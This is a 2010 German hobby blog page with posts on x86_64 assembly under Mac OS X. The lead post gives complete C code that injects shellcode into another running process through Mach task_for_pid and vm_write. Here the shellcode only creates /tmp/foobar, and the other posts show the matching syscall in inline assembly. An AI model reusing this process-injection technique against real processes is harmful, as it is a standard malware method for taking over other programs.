btwotch    

, Deutschland · männlich · registriert seit 2008 · heute zuletzt online


mailto, against spam!

Code Injection in Mac OS X

Sonstiges ·

Ptrace wird wohl in den naechsten Versionen von Mac OS X komplett verschwinden. Schon jetzt kann nicht auf die Register zugegriffen werden; natuerlich wird eine andere Moeglichkeit angeboten:

    1 #include <stdio.h>
    2 #include <stdlib.h>
    3 #include <sys/types.h>
    4 #include <mach/mach_types.h>
    5 #include <mach/i386/thread_status.h>
    6 
    7 
    8 char shellcode[] = "\x90\x90\x90\x90\x48\xc7\xc0\x05\
    9 \x00\x00\x02\x48\xbb\x62\x61\x72\x00\xff\xff\xff\xff\x53\x48\xbb\
   10 \x2f\x74\x6d\x70\x2f\x66\x6f\x6f\x53\x48\x89\xe7\x48\xc7\xc6\x01\
   11 \x02\x00\x00\x0f\x05\x90\x90\x90\x90";
   12 
   13 
   14 int main(int argc, char **argv)
   15 {
   16   int pid = atoi(argv[1]);
   17   long thread = 0;        // for first thread
   18   mach_port_t remoteTask = 0;
   19   thread_act_port_array_t thread_list;
   20   mach_msg_type_number_t thread_count;
   21   x86_thread_state64_t x86_state;
   22   mach_msg_type_number_t sc = x86_THREAD_STATE_COUNT;
   23 
   24   task_for_pid(mach_task_self(), pid, &remoteTask);
   25 
   26 //   task_suspend(remoteTask);
   27 
   28   if (task_threads(remoteTask, &thread_list, &thread_count))
   29     printf("cannot get list of tasks\n");
   30 
   31   if (thread_get_state(
   32         thread_list[thread],
   33         x86_THREAD_STATE64,
   34         (thread_state_t)&x86_state,
   35         &sc
   36       ))
   37     printf("getting state from thread\n");
   38 
   39 
   40   printf("rip: 0x%x %ld\n", x86_state.__rip, x86_state.__rip);
   41   printf("rax: 0x%x %ld\n", x86_state.__rax, x86_state.__rax);
   42   printf("sizeof(shellcode) = %d \n", sizeof(shellcode));
   43 
   44   vm_protect(remoteTask, x86_state.__rip, sizeof(shellcode), FALSE,
   45              VM_PROT_READ|VM_PROT_WRITE);
   46   vm_write(remoteTask, x86_state.__rip, shellcode, sizeof(shellcode));
   47 
   48 
   49   thread_resume(remoteTask);
   50 
   51 }

Wenn jmd weiss, wie man thread_resume() benutzt, dann bitte melden ;)
Der Shellcode erstellt die Datei /tmp/foobar via open-syscall; aber frei nach dem Diskordischen Gebot "Es ist verboten zu glauben, was du liest" solltest du das natuerlich ueberpruefen xD

25. Juli 2010 01:56

Tags:  ·  ·  ·  ·  ·  ·

fuckin' padding

Sonstiges ·

RTFC!!

    1 #include <stdio.h>
    2 #include <asm/unistd.h>
    3 
    4 int main()
    5 {
    6   /*
    7   __asm__(
    8           "nop\n"
    9           "nop\n"
   10           "nop\n"
   11           "nop\n"
   12           "movq   $0x02000005,%rax\n"
   13           "movq   $0xffffffff00726162, %rbx\n"
   14           "push   %rbx\n"
   15           "movq   $0x6f6f662f706d742f, %rbx\n"
   16           "push   %rbx\n"
   17           "movq   %rsp, %rdi\n"
   18           "movq   $0x201, %rsi\n"
   19           "syscall\n"
   20           );
   21   */
   22   __asm__(
   23     "nop\n"
   24     "nop\n"
   25     "nop\n"
   26     "nop\n"
   27 
   28     "movq   $0x02000005,%rax\n"
   29     "movq   $0xffffffff00726162, %rbx\n"
   30     "push   %rbx\n"
   31     "movq   $0x6f6f662f706d742f, %rbx\n"
   32     "push   %rbx\n"
   33     "movq   %rsp, %rdi\n"
   34     "movq   $0xffffffffffff0077, %rbx\n"
   35     "push   %rbx\n"
   36     "movq   %rsp, %rsi\n"
   37     "subq   $0xb8, %rsp\n"
   38     "callq  _fopen\n"
   39   );
   40 
   41   return 0;
   42 }

macht im Prinzip das gleiche wie im ASM Eintrag vorher (oder auskommentierter Code), nur mit fopen statt open und libc-call statt syscall.

21. Juli 2010 19:51

Tags:  ·  ·  ·  ·  ·  ·  ·  ·  ·  ·  ·  ·  ·

Assembler unter Mac OS X x86_64

Computer ·

Das sieht dann bspsw. so aus:

    1 #include <stdio.h>
    2 
    3 void main()
    4 {
    5   __asm__(
    6     "movq    $0x02000005,%rax\n"
    7 //      "mov   $5, %rax\n"
    8     "movq   $0xffffffff00726162, %rbx\n"
    9     "push   %rbx\n"
   10     "movq   $0x6f6f662f706d742f, %rbx\n"
   11     "push   %rbx\n"
   12     "movq   %rsp, %rdi\n"
   13     "movq   $0x201, %rsi\n"
   14     "syscall\n"
   15   );
   16 }

Das Kranke daran ist, dass in /usr/lib/sys/syscall.h für den open-Syscall eine andere Nummer steht als: 0x02000005
dort steht: 0x5
um auf die richtige Nummer zu kommen, disassembliert man am besten die libc: otool -V -t /usr/lib/libSystem.B.dylib | less
dann stoesst man auf folgendes:

_open:
000000000000b8b4 movl $0x02000005,%eax
000000000000b8b9 movq %rcx,%r10
000000000000b8bc syscall
000000000000b8be jae 0x0000b8c5
000000000000b8c0 jmp cerror
000000000000b8c5 ret
000000000000b8c6 nop
000000000000b8c7 nop

18. Juli 2010 10:49

Tags:  ·  ·  ·  ·  ·  ·  ·  ·  ·  ·  ·  ·

16. Juli 2010

Sonstiges ·

Österreichisches Bier

16. Juli 2010 17:22

Tags:

10. Juli 2010

Sonstiges ·

N64 yay

10. Juli 2010 17:26

Tags:

Blog durchsuchen
(nur öffentliche Einträge)

Willst du auch bloggen?
Kostenlos bloggen bei Spin.de
Diese Seite ist eine auf spin.de gelagerte persönliche Homepage, deren Verantwortlichkeit beim Nutzer liegt.
spin.de ist eine große Online-Community mit Chat, Blogs, Foren, Online-Spielen und vielem mehr.
Deine eigene Homepage mit Blog und Gästebuch

Impressum · Datenschutz · Sitemap